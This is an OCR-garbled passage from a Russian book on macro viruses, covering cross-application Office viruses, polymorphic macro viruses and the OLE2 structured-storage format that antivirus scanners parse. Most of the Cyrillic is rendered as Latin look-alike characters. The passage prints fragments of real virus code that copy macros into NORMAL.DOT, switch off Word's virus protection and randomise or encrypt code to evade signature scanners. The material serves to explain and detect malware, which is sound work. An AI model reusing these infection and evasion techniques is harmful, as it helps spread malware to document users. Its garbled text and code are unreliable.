ro BHiiMaHHH. 3aTO HHTepecHo h iioy'fHTejibHo paccMOTpeTb cjioacnyro 
pa3H0BHflH0CTb MaKpOBHpyCOB, Cn0C06HbIX 3apa3KaTb pa3J!HHHble npn- 
JioaceHiia.

no n o H H TH b iM  n p iiH H H a M , noztoG n bie  B H p y c w  H a H a jiii r io a B jiH T b c a  

TojibKo Toraa, K o rzia  Bee KOMnoHeHTbi MS Office n o j i y i H -r a  o6myio B iip -  

T y a J ib H y io  M a u iH H y , yHiiBepca.ibHbiii H3biK  n p o rp a M M iip o B a H H a  VBA, no- 
xoacne o 6b e K TH b ie  M o a e jiH , -  t o  e c Tb  H a n H H a a  c 1997-1998 fo /io b . Bii
p y c  Macro.Office.Hopper H a y n iu ic a  3a p a »e a Tb  a o K y M e n T b i MS Word h 

a.neKTpoHHbie T a o / n m b i MS Excel, B H p y c  Macro.Office.Cross B u e a p a jic a  

KaK b a o K y M e H T b i MS Word, Ta K  i i  b  6a3bi fla H H b ix  MS Access, a B H p y c
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Macro.Office.Triplicate, KpoMe flOKyMeHTOB h ajieKTpoHHwx Ta6jnm , 

6w ji cn oco6eH napa3HTHpoBaTb em e h Ha npeaeHTaijHflx M S  PowerPoint. 
C o 6cTBeHHO roBopsi, a o  ch x  n op  co3flaioTca MaKpoBHpycbi, cn oco6Hbie 

aapaacarb no rpn -yerb ipe  pa3HUX npHJioaceHHa M S  Word, ho, pa3yMeeT- 

CH, B «flHKOH Ilpn p0/te» HX HeT, H 3HaK)T O HHX TOJIbKO BHpycojiorH.

KaK ace ycTpoeHbi no flo6Hbie MaKpoBHpycbi? A HHnero cjioacHoro h 

neo6biHHoro b h h x  HeT. H x  cymecTBOBaHHe ocHOBbiBaeTca Ha npocTOM 

(JjaKTe (K 0T0pbiH HaMH b aajibHeiniieM SyfleT HCCJieaoBaH n oapofm ee ): 

Bee o 6teKTbi M S  O ffic e  cnoco6Hbi xpaHHTb MaKpocbi b BHae hcxoah o- 

ro  TeKCTa. To  eerb  oh h  M oryT xpaHHTb BHyrpH He/ionHcaHHbie MaKpocw, 

nporpaMMbi-cqeHapnH h j i h  f lp y m x  npHJioaceHHH h Boo6m e jnoobie TeK- 

CTOBbie /jaHHbie. Bo3MoacHocTb h jih  HeB03M0acH0cTb BbinojiHeHHH xpaHH- 

Moro TeKcra BbiacHaeTca to jib k o  npn nonbrnce 3anycKa MaKpoca.

A Tenepb npe/icTaBbTe ce6e, h to  BHyxpit HeKOToporo a6cTpaKTHoro 

o 6i>eKTa M S  O ffic e  (h jih  flOKyMeHTa, h jih  sjieKTpoHHon Ta6jiH iiw, h jih  

npe3CHTanHH) co/iepacaTca Hcxo^Hwe TeKCTW flByx MaKpocoB c HMeHa

MH «D o c u m e n t_ C lo s e » h «W o rk b o o k _ D e a c t iv a te ».  Pa3yMeeTca, nepBWH 

H3 h h x  6yaeT on o3HaH KaK «aBTOMaTHHecKHii» h  3anymeH TOJibKo b M S  

W ord , a BTopoft -  to ju .ko  b M S  Excel. TaKHM 06pa30M, y  BHpTyajibHOH 

MauiHHW npocTo He 6 y n e r  noBoaa <<cnoTKHyTbca» o «H yacne» KOMaHabi. 

Hm chho sthm  oocToaTejibcTBo.M noJib3yerca, HanpHMep, BHpyc Macro. 
Office.Darkstar.

/IpyroH  BaacHoii 0C06eHH0CTbK) naKeTa M S  O ffic e , cnoco6cTBVK>meH 

c y m e c TB O B a H H ro  «MHoronjiaT<j)opMeHHWx» MaKpoBHpycoB, aBJiaeTca 

HMMaHeHTHaa eMV TexHOJiorna OLE-aemoMamu3au,uu. 3 to  03HanaeT, h to  
pa3Hwe npHJioaceHHa M oryr:

O  o&MeHHBaTbca aaHHWMH zipyr c ztpyroM (HanpHMep, M S  W ord  mo- 

» e T  nepeaan> b M S  E xce l Ta6jiHuy c hh cji3mh, h TaM ohh aBTOMa- 

THHeCKH BCTaBHTCH B H yaCH bie H H e H K H );

O  «>TipaBJiJn'b» ap y r  apyroM  (HanpHMep, M S  Excel Moacer 3anyc- 

THTb M S  W o rd , 3acTaBHTb e ro  oncpbrrb onpe/iejiem ibiii ^oKVMeHT 

h oripe/jejienHbiM o6pa30M OTpe/jaKTHpoBaTb ero ).

B ot KaK 3Ta ocooenHocTb ncnojib3yeTca b MaKpoBHpycax (Ha npiiMepe

Macro. Office.Comer):
OTKpuTb m u  cosflaTb oobeKT, n03B0flRntM^ ynpaBflflTb MS Word 

Set WorcObj = GetObject(, "W ord .A pp lica tion")
I f  WordObj = Then
Set WordObj = C rea teO b ject("W ord .A pp lica tion") 
crossOuit -  Trus 
End I f
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' OSpaTHTbCR k reKCTy MaKpocoe, xHeysijnx s ero NORMAL.DOT
Set Nrmal = WordObj. NorrcalTemplate. VBProject. VBComponentsO). codeinodule

Nrm al.Replaceline 1, "Sub Document_Open" ' Bcraemb 3ar0.i0B0K: TwnMMHbiii onn Word

Nrmal.Save
I f  crossQ uit = True Then WordObj.Quit

PaccMOTpeHHMH npneM no3Bo;raeT BHpycy Macro.Office.Comer 
HMeTb oflHH h  t o t  >Ke MaKpoc Ha Bee cjiynaH acH3HH. 3apaacaa Ty h . t o  

HHyiO pa3HOBHflHOCTb flaHHbIX, MaKpOBHpVC npOCTO BCTaBJTJieT B onpefle- 
JieHHbie MecTa Hcxo/LHoro TeKCTa MaKpoca «HyjKHbie» cTpoKii.

5 3 . riOAMMOpc})Hbie MaKpOBMpyCbl
...B u d  y  uee, KOHevHO, ecrm>. Tojwko p a m u u , n o - 
HUMaeme? K o zd a  cma na nomojuce, oho KaK n o - 

monoK. K o id a  na dueaue -  KaK duean...

A. h E. CTpyraiiKHe. «Ilyrb Ha AMMbTeio»

Bo3MoacHocTeii H 3M K 0B  WordBasic h VBA b i io j ih c  XBaTaeT, h to 6 m  co3/ia- 
BaTb nOJIHMOp(|)Hble MaKpOBHpyCbl.

IlepBbie nonbiTKH HanncaTb MaKpoBnpyc, He HMeromHH nocToaHHoro 
«TeJia», o t h o c h t c a  eme k cepeflHHe 1990-x roaoB. Ha s to m  3Tane «no- 
jiHM0p(J)H3M0M^ Morao CMHTaTbCH npocToe nepeHMeHOBamie MaKpocoB, 
Beflb MHorne aHniBHpycbi nbirajm cb pacno3HaBaTb «3apa3y» to j im c o  no 
HMeHaM. HanpHMep, MaKpoBHpyc Macro.Word.Random TacoBaji c jiy - 
HaHHWM 0 6 p a 3 0 M  HMeHa CBOHX «aBTOMaTHHeCKHX» MaKpocoB:

x = Rnd()
I f  x < 0.1 Then 

rn$ = " ’.AutoOpen"
E ls e lf  x < 0.2 Then 

rn$ = AutoClose"
E ls e lf  x < 0 .3 Then 

rn$ = ":AutoNew"
E ls e lf  x < 0.4 Then 

rn$ = ":AutcExec"
E ls e lf  x < 0.5 Then 

rn$ = " :A u to E x it"
E ls e lf  x < 0.6 Then 

rn$ = " : FileSaveAs"
E ls e lf  x < 0 . /  Then 

rn$ = ’■ :FileOpen"
E ls e lf  x < 0.8 Then 

rn$ = " : F lleC lose"
E ls e lf  x < 0.9 Then



nO AH M O p0H bie MaKpOBHpyCbl ❖ 347
rn$ = " : autoOpen"

Else
rn$ = " :F i le E x it "

End I f

y$ = MacroFileNameSQ + + MacroName$(1, 1)

MacroCopy y$, ''G loba l" + rn$

IIpoTHB aHTHBHpycob THna «S C A N 8 3 1 .D O C » TaKOH Merofl pa6oTaji 
Ha 100%, ho BCKope noHBHJincb aHTHBHpy ch, cKaHHpyiomHe (J>aH.ibi aoKy- 
MeHTOB h onpeae^jnomne «3apa3y* no cnraaType. riosTOMy cjieayiomHM 
rnaroM 6h jih  nonbincH TeM hjih HHbiM 06pa30M BHflOH3MeHHTb HcxoflHbin 
TeKCT. B H3bnce W ordBasic 3T0 6biJio 3aTpyanHTejibH0, ho ero anoxa fliiH - 
jiacb He oneHb aojiro . B orarae bo3mojkhocth no caMOMoaHfJiHKaiiHH MaK
poBHpycoB npHBHec H3biK V B A  h npeacae Bcero MeTO/ibi, n03B0Jiai0mHe 
KonnpoBaTb MaKpocbi H3 o6beicra b ;;oKVMeHT nocTpoHHO. 3 to  n03B0JiJiJi0 
npOHHTaTb CTpoKy H3 3apa3K6HH0r0 o6’beKTa, BHZI0H3MeHHTb ee H B TaKOM 
BHfle yace «BnHcaTb» b 3apaacaeMbiH ooteKT.

Bot npranep Ma.>ieHbKoro h npocroro BHpyca M acro.W ord97.Mmimorph, 
KOTOpblH CJiyqaHHbIM 06pa30M MeHHJI B CBOeM HCXOflHOM TeKCTe HMeHa 
BpeMeHHbix nepeMeHHbix. I I onpo6yiiTe, coo6pa3HTe, bo hto npeBparaTca 
b pe3yjibTaTe BbinojmeHira cjieayiomero (^parMema HMeHa «D U H IM >>, 
« P P W M S »  h «D L C U L » :

DUHIM$ = FileNaneSO
MacroCopy DUHIMS + ' ' : AutoOpen", "AutoOpen"
MacroCopy "AutoOpen", DUHIMS + AutoOpen"
FileSaveAs .Format = 1 
DCLUL = In t(R nd () * 3 + 5 )
For PPWMS = 1 To DCLUL
A$ = A$ + C hr$ (In t(R nd() * 26) + 65)
B$ = BS + Chr$(Int(RndO  * 26) + 65)
CS = CS + C hr$(In t(R nd() « 26) + 65)
Next PPWMS
ToolsMacro .Name = "AutoOpen", .E d it 
EditReplace .Find = "DUHIM", .Replace = A$, . ReplaceAll
EdltSsoiace .F ind = "PPWMS", .Replace = B$, .ReplaceA ll
EditReplace . Find = "DCLUL", .Replace -  C$, .ReplaceA ll

Bupyc Macro.W ord97 .U n seen  rrpe/iBapflJi Ka>Kflyio crpoHKy KOfla 
CBOefl HOBOH KOnHH CJIVHaHHHMH MCTKaMH'.

PRSWDDvQXO: Ootions. V irusP ro tec tion  - False 
QFEHHQ: Randomize Timer
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PJINRABRK: A c tI.ns ta lled  = False
JVTEXSBBO: Set A c tC a rr ie r = ActiveDocuraent.V3Project.VBCoraponents(1)■ CctieNodule 
COCJDH: Set NonaCarrier = NormalTemplate.VBProject.VBComponents(l).CodeHodule

OflHa H3 pa3H0 BiiflH0 CTejS BHpyca M a c ro . W o rd 9 7 .C la s s  «npope»cH Ba-
Jla» CBOH T6KCT npH nOMOIIJH CJIVHaHHhlX KOMMCHTapHeB:

'SiR DySTyKSDINFECTEDINFECTED/D0C5|2212001 6.04.06 AM 
On E rro r Resume Next
’ SiR QySTyKSDINFECTEDINFECTED/D0C512212001 6.04.06 AM 
Options/SaveNorcialProrapt = 0
’ SiR DySTyKSDINFECTEDINFECTE0/D0C5|22|2001 6.04.06 AM 
Options/ConfirmConversions = 0

E ojiee nponBHHyTbie MaKpoBnpycbi cny'faHHHM 06pa30M uii«f>poBajin  

He oT/iejrbHwe CTpoKH, a Bee CBoe Tejio U6jihkom. H anpHM ep, onem . 3(J)- 
(Jjcktho n o c iy n a ji BHpyc M a c r o .O f f i c e ju g .  O h  ocTaiiJiHJi b «ecTecTBeH- 
hom » BH3,e TOJibKO He6 ojibuiyio npoueaypKy, a Becb ocTajibHoft cboh  TeKCT 

XpaHHJI BHVTpH CJIVHaHHblM 06pa30M SalUHcfjpoBaHHblX KOMMeHTapHeBt

'KOMMeHTapHM C 3aBM!}ipOBaHHbiMH CTpOKaMi-1 TeKCTa 
' | CX}o«ub&]! ](ub ! IB ' A f{% 0z]xf“ 0$\HiuS}-wb[X; {~g<|
' |<51;A#fmvLwdAgrSYIz\k\zV. h! T*<YAe
' i
■Ck_ ,ol|uL(L."[Xez"s>A_'=]Ta!XGvWszXf<h"Aa#Z"08"J7Hh :ir-}[ncAQS\]em30Ulj 
'3g5/Aj$eig0&n -X{c0$l

P riva te  Sub 0O ' npoueflypa Uii$poBaHna n KonMpoeaHw: MaKpocoB 

End Sub
' AB ioMaTim eoKMe MaKpocu f ljif l pasHHx tm h o s  npnno*eHMM 
P riva te  Sub Document_Open(): 0: End Sub 
P ub lic  Sub workbcok_0pen(): 0: End Sub

H o  «BeHUOM TBOpeHHH* B Cljiepe riO.UHMOpcJjHMX MaKpOBHpycOB CJie- 
ayeT, HaBepHoe, c^HTaTb MaKpoBnpycbi THna M a c r o .W o r d 9 7 .P o ly M a c  

( o h  »ce W 9 7 M  C h y d o  w ) ,  KOTopbie ii «paH;i0MH3iip0Ba,TH» HMeHa nepe

MeHHbix, H BCTaBJIHJIH B TeKCT «MyCOpHbie» KOMaHflbl, H MeHH.TH IIOpH/LOK 

BbinojiHeHiw KOMana, o jia ro^apa  Hewy TeKCT cTaHOBiuica He TOJibKO «H e- 

HHTaoejibHbiM», h o  h  «Hepacno3HaBaoejibHbiM » co CToponu cHrHaTypubix  

aHTHBHpycoB;

Do U n ti l  14oUiaCL2 > 19 
14oUiaCL2 -  KolliaCL? + 8: Loop
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yMpAoIS = yMpAoia + ''EjulU$nx! 0" + Chr$(25) + "W#0z=F" + Ctir$(16) 
z7yX cs lft4  = 5
Do While z7yX cs lft4  < 57: z7yX cs lft4  = z7yX cs lft4  + 3 
Loop

Pa3yMeeTca, 6 opoTbca n p o n iB  TaKHx MaKpoBHpycoB n pn  noM om n ch t- 
HaTypHux CKaHepoB -  6ecnojie3Hoe 3aHflTHe. JIy>miHH cn oco 6  -  bkaio - 

HHTb B CBOH aHTHBHpyc VnpOIUeHHylO MOAeJIb BHpTyaJIbHOH MaUIHHbl, 
KOTopaa Bbino.raajia 6 bi cueHapuft «noH apou iK y », cAeAHJia 3a npouecco.M  

h  peayjibTaTaMH BbinojiHem ia h  npuHHMajia pemeHHe o «3apa3H0CTO» 

MaKpoca. BnponeM , ecTb h  Apyrne noAXOAH. Penb o h h x  iiohact AaJibiue.
3aBepuiaa pa3roBop o no.nHMop4)Hhix MaKpoBHpycax, cJieayeT OTMe- 

THTb, hto HanooJiee CAoacHbie h npoABHHyrae hx pa3H0BHAH0CTH (Ha
npHMep, Macro.Word97.PolyMac) KpaiiHe peAKo BCTpenaioTca b «ah - 
koh npnpoAe». M a&jio He b riopHAOHHocTii aBTopoB, noc.iaBuiHX CBoe 
TBopeHHe HanpaMyio b aHTHBHpy cHbie KOMnaHHH, a b Kpafine hcbmcokoh 

np0H3B0AHTCJibH0CTH BHpTyajibHOH MauiHHbi. BKJiKweHHoii B MS Office, 
no Ha6juoAeHraM A. KapHMOBa (yKpaHHCKHH aHTHBiipycHbiH npoeKT 
«Stop!»), Ha reHepamno hoboh, MyrapoBaBiueH pa3H0BHAH0CTH TaKiix 
MaKpoBHpycoB MOKCT HOTpeOOBaTbCH, B 3aBHCHMOCTH OT 6bICTpOAeH- 
CTBHJt KOMnbiOTepa, OT HeCKOJIbKHX CeKyHA AO HCCKOJIbKHX MHHyT!

5.4. ripfiMOM A O C T y n  k  MaxpocaM
. . .9 m o  6 w i  m € x oh u 3 m , K a m a - m o  e a p e a p c m s i  
M atuuH a. Chta x p a n e j ia ,  8 3 p u K u e a j ia , c K p e x e -  
tn a jia  M em a iu u m  u  p a c n p o c m p a n s u ia  m n p u n m -  
H u e p x a e u e  a a n a x u .

A  h  B. CTpyraiiKHe. -*06nTaeMbift ocrpoB»

MxaK, xoth c HeKOTopuMH MaKpoBHpycaMH mojkho ycneuiHo 6opOTbCH 
h «noApyHHbiMH» cpeACTBaMH, TeM He MeHee jiyn iiie  nopynHTb 3Ty pa6o- 
tv KaK0My-HH6yAb aHTHBHpycy. Ho, KaK bmhchhctch, noHCK h  yAajieime 
MaKpoBHpycoB npn homou(h BHeumeH nporpaMMH -  aajieKo He caMaa 
npocTaH 3aAa>ia [46].

PacCMOTpHM OCHOBHbie npHHUHnbl, H a KOTOpbIX AOUaCHa 6bITb oc- 
HOBaHa TaKan aHTHBHpycHaa nporpaMMa. OcHOBHoe BHHMamie 6yjnet>i 
yaejiHTb «HcuejieHiiio» o t MaKpoBHpycoB A-ifl MS Word: Bo-nepBHX, hx 
b AecHTKH h co thh  pa3 6oJibiue, HeM apyrux THnoB MaKpoBHpycoB; H, BO- 
BTopbix, 4Hcue^eHHe» o t Excel- h PowerPoint-BHpycoB BunwAHT npn- 
MepHo TaK >Ke.
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5.4.1.  OopM aT CTpyKTypMpOBaHHoro xpaHMjwma
DOC-(J>aftji HMeeT BecbMa cjioKHyto cTpyKTypy. Mcnojib30BaHHbiH b  neM  

cnoco6 xpaHCHHa aannbix Ha3biBaeTca «CTpyKTypHpoBaHHbiM  xpaHH- 

JiHmeM* (^structured storage*). O h  rnnpoKO Hdio;ib3yeTCH b  W indows 
b  paM Kax TexHOJiorHH O L E / C O M / D C O M / A c tiv e X . I I o  ripaBHJia.M 
«cTpyKTypHpoBaHHoro xpaHii;iHiua» ycTpoeHbi Taiofce XLS-cJjaHJibi 
Excel, P P T -n p e 3eHTauHH PowerPoint, lC:ByxrajiTepHH
h  oneHb MHorae nponne ranbi (JjaiijioB. O ^H m ta jibH h iH  MeToa aocTyna 
k aaHHbiM BHyrpn «CTpvK'rypiipoBaHHbix xpaHHJium* cymecTByeT -  3T0 
nponeaypw (T o n n e e  «.\ ie T o a b i» ) H3 06beicrH0- 0pHeHTHp0BaHH0H 6 h 6 - 

jiHOTeKH « O L E 2 .D L L » .  H o  no oneHb m h oh im  npiwuHaM (Koropue m u  

paccMOTpHM HHJKe) o h  He Bcerfla npneMJieM.

C  3a/ianefi caMOCTOJiTevibHoro pa36opa «CTpyKTypnpoBaHHoro x p a m i -  

JiHiita* CTOJiKHyjiHCb b  cepe^H H e  1990-x ro a o B  pa3paooTHH KH a im iB H p y -  

co b , n p e a H a sH a n en n H X  a j i a  o6HapyaceHHH ii yaa jien H H  M aK poBH pycoB . 

O u p M a  M ic r o s o f t  cm iT a jia  noapo6H O CTH  ycT pon cT B a  «  c Tp y  KTyp h  p  o  -  

BaHHbIX XpaHH .UH m » CBOHM BHJTTpHcJjHpMeHHblM CCKpeTOM -  IIO KpaHHeH  

M epe, o ^ H U H a jib H b ix  h  oomeaocTyiiHbix om icaH H H  aojiroe BpeMH He c y -  

mecTBOBajTO. B o t  KaK b  K orn je 1995 r. KOMMeHTnpoBaJi CHTyaiuiro c HHcJxjp- 

M an n e il o  (JjopMaTe «C T pyK T vpnpoB aH H oro  xpaH U Jinm a* E. K acn epcK H ii: 

Ana roro HTodbt/iewrb sapaxeHHbie Microsoft Documents, Heo6xo- 
Aumo MMerb Ha p ym x cpopMar O LE 2 (b  KoeM s m  jjOKyMeHTbi m m -  
eyr). O/jHaKo s to t  cpopMar <pupMa Microsoft 6epexer KaK 3eHuuy 
OKa u pa3/faer ero ro/ibKo 3a 6onbuuue /jeHbm. Floe eMy b caMOM 
dntiDKafiuieM GyffymeMHMfluanor, hu ero KOHKypenrbi He CMoryr Bbi- 
nycm Tb 100%-Hyio Jiew/iKy n p o rm  Macro-Bupycos. O r ce6(t 3a- 
Meny, hto:
1) Mbi (KAM I) Bpone KaK m m eM ca Microsoft Solution Provider, ho 
nontJTKH U3bdTb ceu TauHCTBeHHbiH cpopMar y  MS ycnexoM He yBeH- 
namcb ( co3Aanocb Bne^arjieHue, hto cpupMa Microsoft caMa He 06- 
naflaeT MH<popMauneM 06 stom cpopMare);
2) a a xe  ecmi uMerb Ha pyKax cpopMar Microsoft Document, to  Ha- 
nucarb aHTUBiipyc -  sro ovenb Henpocroe aaHftrue. Crpyioypa 
MS-Document Ha nopw oK cnoxHee crpyKrypbi pacno/ioxeHMa AaH- 
Hbix na DOS-flMCKax(BK/itOHaa FAT, Root Dir h  t. /j .J.

EmV BTOpiIJI I I  rpH3H0B, pa6oTaBUIHH B TO BpeMH B KpVIIHOH aHFJIHH- 
c k o h  KOMnaHHH h  3aHHMaBiiiHHCH pa3pa6oTKoii aHTHBHpyca DrSolomon:

... 0LE2 npmiwocb oKynmarb caMUM -  or Microsoft’a jjoduTbca nero- 
m6ojaeticTBmejibHo npaKrmecKM h6bo3mo>kho...
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B03M0acH0, M icrosoft h fle r̂n.’iacb c kcm-to n0/jp06H0CTHMH cbohx 3a- 
CeKpeMeHHHX <$)OpMaTOB, ^Ha3HaMaH» TaKHM o6pa30M JTHflepOB B aHTtfBH- 
pyCHOlt IIHflyCTpHH H BbinyJK^aa npOTOX 3aHHMaTbCH np0THB03aK0HHbIM, 
b 06meM-T0, aeJioM -  «pacxaKHBanueM» Myacoro nporpaMMHoro o6ecne- 
HeHHH. Bot mto nncaji no aTOMy noBO/iy Peter Szor b cBoefl KHHre «The 
A rt o f Com puter V irus Research and Defences [62]:

... 0opMaTt>t (pati/ioB Microsoft HyxaariMCb b «o6paTHofi pa3pa6oT<e» 
co cmpoHbt anmBMpycHbix KOMnaHm, a na roro nroGbi BHyrpH hhx 
6bino m o x h o  HaxoAHTb BHpycbi. HecMorpa na to hto Microsoft cna6- 
xana BupyconoroB tiHcpopMauueH b coo tbbtctbh h  c cornaiueHneM 
NDA (Non Distributed Agreement -  CornameHne o AsnbHentneM ne- 
pacnpocrpaHeHMM), e stom  uncpopMaum coAepxanocb onpeAenen- 
Hoe KO/invecTBo ouim6ok, m oHa 6btna He nonna. HeKOTopue ammw- 
pycHbie KOMnaHm G u m  donee ycneiuHbt b «o6paTHofi pa3pa6oTKe». 
B pe3ynbTare b aHTMBupycHbix KOMnannax 6t>icTpo noaBMnucb cne- 
LimnvtcTbi neodbMHoro npo<pnm: SKcnepTbi no (popMaraM. CpeAW 
nynuiHX cneuuam croB no (popMaraM m o x h o  ynoMaHyrb Vesselin 
Bontchev, Darren Chi, Peter Ferrie, Andrew Krukov («Crackov»), Igor 
Muttiku Costin Raiu...

B to  BpeMH KaK oahh «xaKajin» Microsoft, Apynie 3aHHMajmcb TeM ace 
caMUM no 0TH0uieHHK) k KOHKypeHTaM. Bcchoh 1998-ro flaace pa3pa3HJi- 
ch MajieHbKHH cKaHflajibHHK Me*AV /ibvmh KpynHbiMH oTeqecTBeHHWMH 
aHTHBHpycHbiMH (JwipMaMii: oflHa H3 hhx oonapyacHJia b npoflyKTe Korncy- 
peHTa 4>parMeHTbi cBoero co6cTBeHHoro (to  ecrb «n03aHMCTB0BaHH0r0» 
H3 6h6jihotck Microsoft h «nepe3aTO*ieHHoro» rioa ce6a) Ko/ia, ripe/iea- 
3HaHeHHoro jum pa36opa «CTpyKTypHpoBaHHbix xpaHHJiHm» . KoMnaHHH 
o6MeniiBajincb MHoroHHCJi eHHbiMH rpo3HbiMH npecc-pejiH3aMH, OOemaJlH 
npHBjieMb k pa300pKaM roeap6nTpa>K... ho noTOM, cjienca noocTMB h oue- 
hhb a6cypaH0CTb CHTyaiiHH, cnycTiMH /icjio Ha T0pM03ax.

H-fla... B w jih  BpeMeHa... Ho Tenepb-TO <|x>pMaT CTpyKTypnpoBaHHO- 
ro  xpaHHJinma b anaHHTe/ibHoii CTerieitH H3BecTeH. Ha py6eace BeKOB 
ero He oneHb tohhoc, ho flOBO^bHO to jikoboc oiiHcarrae ( iio ;j KpaciiBbiM 
nanMeHOBaHHeM «(])aiiJK>Ba.H CHCTeMa Laola») b h u ijio  ire-no/i ajieKTpoH- 
Horo nepa HeKoero MapTiiHa liiBapua. C iivc th  HecKOJibKO ; k t  iiohbu- 
jiHCb ;ioicyMenTbi o t pa3pa60THHK0B «OTKpbiTbix» npoeKTOB ClamAV n 
OpenOffice, a 3iimoh 2008 r. naKoneu-TO Ha caiiT M icrosoft om jih Bbi/io- 
>KeHbi oc|)HHHajibHbie flOKVMeHTbi [51, 52]. To ec.Tb cnycTJi nojrropa Jie- 
caTKa JieT nocjie Toro, KaK y ciicre.viHbix h npHK.'ia;iHbix nporpaMMiicTOB 
llOHBH.JiaCb B HeM IieODXO/IMMOCTb!
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HTaK, (fja iijib i aoKyMeHTOB M S W ord c pacnmpeHHHMH «.DOC» h 
«.DO T» npeflCTaBJiaiOT co6oh cJioacHbie oobeKTbi, 0praHH30BaHHbie no 
upaBHJiaM «C T p yK T yp n p oB aH H oro  xpaH H Jim na». OaKTHHecKH CTpyKTypH- 
poBaHHoe xpaHHJiHme -  s to  OT/ieJibHasi 4)afijioBaa CHCTeMa o t M icrosoft, 
npHMepHo TaKaa ace, KaK FAT h jih  NTFS, TOJibKO «acHBeT» OHa He Ha 
flHCKe, a b apyroM  (fja ifjie . CaM ace ahckobmh cfiaHJi, xpaHflmHH BHyrpH 
ce6n «cTpyKTypHpoBaHHoe xpaHHJiHiue», Ha3MBaeTca «c{)aHJi-.aoKyMeHT» 
(«docfile») h jih  4cocTaBHoii 4>aHJi» («compound file * ). IlepBhiH TepMHH 
npHMeHHJicH bo BpeMeHa O LE  1, BTopofi iio jib h jich  b cepe/yine 90-x ro - 
aoB BMecTe c O LE  2, cennac ohh o6hhho Hcnojib3yioTca KaK chhohhmu. 
B O LE  cymecTByeT eme notwTMe «cocTaBHoft #OKyMeHT» (^com pound 
docum ent»), ho s to t TepMHH, BCTpenaiomHHCfl b KHHrax h CTarbHX no 
OLE-aBTOMaTH3auHH, o thoch tch  k  a6cTpaKTH0My no/ucjiaccy xpanHJinm 
oco6oro BHaa, pacnojio»;eHHUx b onepaTHBHoii naMMTH.

DOC-cjjafiji pa36nT H a  512-6aHTOBbie ceKTopbi (KJiacTepbi), npoHy- 
M e p o B a H H b ie  c j ie a y io m H M  o 6 p a 3 0 M : <6e3 H O M e p a > , 0, 1,2, 3... B o 3 M o a c- 

ho cymecTBOBaHHe x p a H H J in m  c ceKTopaMH p a 3 M e p o M  b 1024, 2048 h 
4096 6aHT, ho hh oana H3 coBpeMeHHHX BepcHH MS Word cos^aBaTb 
T a K H e  TtOKyMeHTM H e  y M e e r . A bo t H H T a T b  h p e fla K TH p O B a Tb  / lO K yM e iiTb i 

c «6oJibUiHMH» ceKTopaMH MS Word MoaceT.
C e K T o p  6e3 H O M e p a  (c a M b iil  n e p B b iii  c e K T o p )  3 3 H H M a e T 3 a r0 Ji0 B 0 K  

DOC-(J)aiiia, H a H H H a ro m H H O i c  c n r H a T y p b i  «D0 CF 11 E0 A l B 1  1A E l » ,  

3 Ta  c i i r H a T y p a  -  o6a3aTejibHUH n p H 3 H a K  4 C T p y K T y p n p o B a H H o r o  xpami- 
. r a m a » .  O c r a jib H b ie  c e ic ro p b i <|>aHJia CBH 3aH bi b  n e n o H K H , H a n p H M e p  H a 

p H c y H K e  o ; ih o h  u e n o H K e  npHH a,a;jieacaT c e K T o p b i {0, 1 }, a p y r o f i  -  { 3 , 6 , 2 } ,  

T p e T b e n  -  {4 ,  5 } .  B  s t o m  n p iiM e p e  nepByio u e n o H K y  3 a H H M a e T r jia B H W H  

4Kamcuioẑ  ( e r o  e m e  H H o r a a  H a 3 b iB a io T  <sxpamuiuiu,eM» ) . b k o t o p o m  V K a - 

3 aH bi H a n a Jib H b ie  c e K T o p u  B c e x  o c T a Jib H b ix  u e n o n e K .

Phc. 5.9 ❖ UenoMKa ceicropoB b FAT 
CTpyKTypkipoBaHHoro xpam/i/inina

3ar0.'i0B0K « cTpyKTV pii poBaHnoro xpam u im u a» HMeeT c.-ie/iyroiHHH 

4» p M a T :
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Magic DO E011CFD0H +00h -  "ManwecKoe” muc/ io , yHnnajibHasi cwrnaTypa
OLE DD E11AB1A2H +04h -  "HarHMecKoe" hmcoo, npH3HaK OLE
CLSIO DB 16 dup (? ) +08n -  yHHKajibHuii GUID AOKyMeHTa ( mscto  n y d )
RevNum DW ? +I8h -  NOMep P6BH3HH

VerNum DW ? +1Ah -  HoMep BepCHH
ByteOrder DW ? +1Ch -  flopflflox oafrroB (FFFEh -  PC, FEFFh -  MAC)
C lusterS ize DW 9 +1 Eh -  /lorapnifiM pa3Mepa ceKTopa, o S h h h o  9

BlockSize DW 6 +20h -  /lorapit})M pasMepa waneHbKoro S to k s , o& n h o  6

R1 DB 10 dup (?) +22h -  ?

BBDSize DD ? +2Ch -  KojinqecTBO ceKTopoB b FAT BBD
D irS ta rt DD ? +30h -  Aflpec " r /ia e H o ro  K a ra jio ra "

R2 DD ? +34h -  ?

MinSiz DD ? +38h -  NMHtMamMA pamep noTOKa, paaMenaeMoro e BBD
SBDStart DD ? +3Ch - Aflpec FAT SBO
SBDSize DO ? +40h -  PasMep fa t  S3D e ceicropax
SBDStart DD ? +44 h -  Aapec 2-osi 00/ioshhw C6 KT0P0B FAT BBD
BBDSize 00 ? +48h -  Pa3Mep 2-ofi nonoBHHB FAT BBD B ceicropax
BBDBegin DD 109 dup (? ) +4Ch -  flepeaR nojiosMHa c skto po b  ana FAT BBD

KajKflaa uenoMKa ceicropoB CooTBeTCTByeT KaKOMV-jin6 o o 6 ieK T y  I Io -  

jieanaa HiicJjopMaijHa xpaHHTca b o 6 beicrax -rana <<ttomoK>>. MweHa, pa3- 

Mepbi, aTpn6 yTbi h  naHajibHbie ceKTopbi pa3JiHHHbix 0 6 teKT 0 B xpaHjrrcn  

b  «KamaJioeax» ( « xpaHwiuwflx» ) .  Ha caMOM zjejie b  (JiaHJie npHCVTCTByeT 

Bcero o/ihh «r.naBHbm KaTanor», b kotopom  onncaHbi Bee o 6 T>eKTbi (HMe

Ha, aTpH6 yTbi, HayaabHbie ceKTopbi qenoneK n nponee). « IIo aK aT a jio n i»  

hbjih iotch cocTaBHbiMH nacTHMH «r/iaBHoro KaTajiora*. XOTH Ha HHX B HeM 

HMeioTca OTae/ibHbie ccmjikh. 3anncb b <rjiaBHOM K3 Ta.io re» HMeeT nnu- 
Hy 128 6 aHT0 B:

Name
Leri
Type
Color
L e ft
R ight
F ir s t
QUID
R1
S ta rt
Size
H2

dw
dw
db
db
dd
dd
dd
dd
dd
dd
dd
dd

64 dup (? ) , +00 -  Hms oobeKia b $ o p * 8 T e  UNICODE 
+40h -  ij/iHHa HMeHH
+42h -  T u n  fia H H tix : 1 ,5  -  K a T a /lo r;  2 -  noros; 3 -  lockDytes 
+43h -  "Lieer" ysiia: 0 -  KpacHbfit, 1 -  MepHbiii 
